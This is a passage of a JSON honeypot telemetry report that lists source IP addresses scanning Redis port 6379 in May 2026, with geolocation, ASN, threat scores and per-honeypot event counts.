      },
      "reputation_metrics": {
        "total_events_30d": 649,
        "days_active_30d": 3,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-18T01:49:58.288000+00:00",
        "last_seen_30d": "2026-05-20T00:21:05.172000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 515,
        "H0neytr4p": 96,
        "Redishoneypot": 31,
        "Honeytrap": 6,
        "ElasticPot": 1
      }
    },
    "165.154.163.85": {
      "attack_count": 90,
      "first_seen": "2026-05-04T06:49:54.000Z",
      "last_seen": "2026-05-04T06:52:51.529Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T20:29:30+00:00",
        "last_seen_30d": "2026-05-04T06:52:51.529000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Redishoneypot": 24,
        "Honeytrap": 6
      }
    },
    "118.196.87.226": {
      "attack_count": 77,
      "first_seen": "2026-05-02T22:10:24.000Z",
      "last_seen": "2026-05-29T06:11:40.470Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T22:11:28.930000+00:00",
        "last_seen_30d": "2026-05-29T06:11:40.470000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14
      }
    },
    "3.18.106.28": {
      "attack_count": 76,
      "first_seen": "2026-05-26T03:55:46.000Z",
      "last_seen": "2026-05-26T04:12:20.877Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 60.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 499,
        "days_active_30d": 1,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-26T03:02:31.301000+00:00",
        "last_seen_30d": "2026-05-26T17:18:49.192000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 293,
        "Honeytrap": 129,
        "ConPot": 23,
        "Redishoneypot": 22,
        "Dionaea": 16,
        "Mailoney": 13,
        "Ipphoney": 3
      }
    },
    "107.174.52.164": {
      "attack_count": 75,
      "first_seen": "2026-05-08T15:34:29.000Z",
      "last_seen": "2026-05-22T05:21:41.282Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:34:29+00:00",
        "last_seen_30d": "2026-05-22T05:21:41.282000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 57,
        "Suricata": 3
      }
    },
    "101.200.242.201": {
      "attack_count": 68,
      "first_seen": "2026-05-03T03:35:40.000Z",
      "last_seen": "2026-05-31T04:00:04.785Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T03:36:49.221000+00:00",
        "last_seen_30d": "2026-05-31T04:00:04.785000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13
      }
    },
    "36.111.32.16": {
      "attack_count": 65,
      "first_seen": "2026-05-06T20:30:08.000Z",
      "last_seen": "2026-05-30T18:43:00.529Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-06T20:31:18.270000+00:00",
        "last_seen_30d": "2026-05-30T18:43:00.529000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "130.94.21.201": {
      "attack_count": 51,
      "first_seen": "2026-05-12T08:38:18.000Z",
      "last_seen": "2026-05-12T08:39:40.321Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 154177,
      "as_org": "LIGHT NODE LIMITED",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T18:10:40.450000+00:00",
        "last_seen_30d": "2026-05-12T08:39:40.321000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 23,
        "Suricata": 17
      }
    },
    "170.9.225.197": {
      "attack_count": 48,
      "first_seen": "2026-05-05T04:03:46.000Z",
      "last_seen": "2026-05-31T06:30:13.304Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:03:46+00:00",
        "last_seen_30d": "2026-05-31T06:30:13.304000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 15,
        "Suricata": 5
      }
    },
    "36.137.113.226": {
      "attack_count": 40,
      "first_seen": "2026-05-05T14:16:09.000Z",
      "last_seen": "2026-05-05T14:18:43.369Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:16:19+00:00",
        "last_seen_30d": "2026-05-05T14:18:43.369000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 3
      }
    },
    "157.245.161.230": {
      "attack_count": 34,
      "first_seen": "2026-05-21T09:55:38.000Z",
      "last_seen": "2026-05-24T03:47:34.709Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.0,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 10,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-18T21:03:46.033000+00:00",
        "last_seen_30d": "2026-05-27T00:40:32.574000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 201,
        "Honeytrap": 28,
        "ElasticPot": 13,
        "Redishoneypot": 6,
        "Honeyaml": 3
      }
    },
    "160.119.76.52": {
      "attack_count": 34,
      "first_seen": "2026-05-13T16:14:57.000Z",
      "last_seen": "2026-05-13T16:23:40.601Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7072,
        "days_active_30d": 1,
        "ports_targeted_30d": 1575,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-13T16:12:44+00:00",
        "last_seen_30d": "2026-05-13T20:07:36.291000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4587,
        "Honeytrap": 2440,
        "Dionaea": 23,
        "Redishoneypot": 8,
        "H0neytr4p": 5,
        "ConPot": 3,
        "Adbhoney": 2,
        "Cowrie": 2,
        "Dicompot": 1,
        "Miniprint": 1
      }
    },
    "45.156.129.115": {
      "attack_count": 34,
      "first_seen": "2026-05-22T14:35:36.000Z",
      "last_seen": "2026-05-22T14:38:19.808Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:36:44.316000+00:00",
        "last_seen_30d": "2026-05-22T14:38:19.808000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 4
      }
    },
    "182.92.181.218": {
      "attack_count": 32,
      "first_seen": "2026-05-06T00:32:33.000Z",
      "last_seen": "2026-05-29T06:26:38.248Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-06T00:33:41.632000+00:00",
        "last_seen_30d": "2026-05-29T06:26:38.248000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "221.236.21.55": {
      "attack_count": 31,
      "first_seen": "2026-05-08T04:47:51.000Z",
      "last_seen": "2026-05-31T08:36:35.631Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38283,
      "as_org": "CHINANET SiChuan Telecom Internet Data Center",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-08T04:49:01.962000+00:00",
        "last_seen_30d": "2026-05-31T08:36:35.631000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "91.196.152.220": {
      "attack_count": 28,
      "first_seen": "2026-05-18T08:24:30.000Z",
      "last_seen": "2026-05-18T08:25:54.026Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 73.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.6,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 26,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T09:02:14.988000+00:00",
        "last_seen_30d": "2026-05-29T19:31:13.047000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112,
        "Honeytrap": 26,
        "Redishoneypot": 6
      }
    },
    "125.88.205.65": {
      "attack_count": 27,
      "first_seen": "2026-05-10T07:15:51.000Z",
      "last_seen": "2026-05-26T18:41:17.858Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:15:52+00:00",
        "last_seen_30d": "2026-05-26T18:41:17.858000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "39.105.202.192": {
      "attack_count": 27,
      "first_seen": "2026-05-09T20:52:26.000Z",
      "last_seen": "2026-05-20T21:51:29.115Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T20:52:26+00:00",
        "last_seen_30d": "2026-05-22T02:08:16.038000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Redishoneypot": 9,
        "Honeytrap": 2
      }
    },
    "135.233.96.247": {
      "attack_count": 26,
      "first_seen": "2026-05-23T19:59:22.000Z",
      "last_seen": "2026-05-23T20:02:55.032Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 80.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.9,
        "persistence": 23.3,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 28,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T09:48:09.148000+00:00",
        "last_seen_30d": "2026-05-30T22:54:21.232000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Honeytrap": 7,
        "Redishoneypot": 5,
        "Dionaea": 2,
        "ElasticPot": 2
      }
    },
    "64.62.156.108": {
      "attack_count": 26,
      "first_seen": "2026-05-27T07:29:44.000Z",
      "last_seen": "2026-05-27T07:31:23.738Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T04:10:48+00:00",
        "last_seen_30d": "2026-05-31T14:41:01.369000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 198,
        "Honeytrap": 86,
        "Ciscoasa": 15,
        "Redishoneypot": 11,
        "ConPot": 6,
        "Dionaea": 3,
        "Cowrie": 2,
        "Tanner": 2,
        "CitrixHoneypot": 1
      }
    },
    "64.62.197.107": {
      "attack_count": 26,
      "first_seen": "2026-05-18T15:08:53.000Z",
      "last_seen": "2026-05-18T15:10:50.168Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 30,
        "ports_targeted_30d": 80,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T01:46:52+00:00",
        "last_seen_30d": "2026-05-31T13:58:09.554000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144,
        "Honeytrap": 85,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Cowrie": 7,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1
      }
    },
    "135.233.112.24": {
      "attack_count": 24,
      "first_seen": "2026-05-17T11:12:15.000Z",
      "last_seen": "2026-05-17T11:13:52.296Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 46.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.7,
        "persistence": 15.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 18,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T15:11:48.031000+00:00",
        "last_seen_30d": "2026-05-26T01:49:04.400000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Redishoneypot": 5,
        "Dionaea": 2
      }
    },
    "14.116.219.149": {
      "attack_count": 24,
      "first_seen": "2026-05-09T15:12:39.000Z",
      "last_seen": "2026-05-22T00:28:07.644Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 15.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 19,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T15:13:44.535000+00:00",
        "last_seen_30d": "2026-05-27T07:31:42.658000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 8,
        "Redishoneypot": 6
      }
    },
    "67.205.149.89": {
      "attack_count": 23,
      "first_seen": "2026-05-26T03:34:14.000Z",
      "last_seen": "2026-05-29T09:04:31.699Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 41.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 4,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-26T03:35:27.286000+00:00",
        "last_seen_30d": "2026-05-29T09:05:41.427000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38
      }
    },
    "198.211.99.198": {
      "attack_count": 22,
      "first_seen": "2026-05-23T06:33:31.000Z",
      "last_seen": "2026-05-23T06:34:39.728Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:33:31+00:00",
        "last_seen_30d": "2026-05-23T06:34:39.728000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 2
      }
    },
    "138.197.118.33": {
      "attack_count": 21,
      "first_seen": "2026-05-08T09:09:02.000Z",
      "last_seen": "2026-05-08T09:10:06.023Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 119022,
        "days_active_30d": 1,
        "ports_targeted_30d": 65600,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-08T09:06:42+00:00",
        "last_seen_30d": "2026-05-08T09:19:04.614000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105711,
        "Honeytrap": 13262,
        "Mailoney": 12,
        "Dionaea": 11,
        "ConPot": 9,
        "Cowrie": 3,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "165.227.201.85": {
      "attack_count": 21,
      "first_seen": "2026-05-19T05:04:38.000Z",
      "last_seen": "2026-05-19T05:14:45.299Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 2,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-18T04:07:51+00:00",
        "last_seen_30d": "2026-05-19T14:55:42.166000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Honeytrap": 76,
        "Redishoneypot": 8,
        "Dionaea": 2
      }
    },
    "203.55.131.5": {
      "attack_count": 21,
      "first_seen": "2026-05-16T08:06:43.000Z",
      "last_seen": "2026-05-16T08:30:00.403Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 62.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.5,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 16,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-09T07:02:35.357000+00:00",
        "last_seen_30d": "2026-05-24T11:56:23.200000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Honeytrap": 48,
        "Redishoneypot": 6,
        "H0neytr4p": 2,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "138.197.170.75": {
      "attack_count": 20,
      "first_seen": "2026-05-16T10:10:00.000Z",
      "last_seen": "2026-05-16T10:11:09.643Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 154174,
        "days_active_30d": 1,
        "ports_targeted_30d": 64288,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-16T10:09:40+00:00",
        "last_seen_30d": "2026-05-16T10:24:07.165000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 131867,
        "Honeytrap": 22245,
        "Mailoney": 12,
        "Dionaea": 11,
        "Cowrie": 10,
        "Miniprint": 8,
        "ConPot": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "152.233.4.145": {
      "attack_count": 20,
      "first_seen": "2026-05-30T10:45:25.000Z",
      "last_seen": "2026-05-30T15:39:28.549Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": "Budapest",
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-30T10:46:59.419000+00:00",
        "last_seen_30d": "2026-05-30T15:39:28.549000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
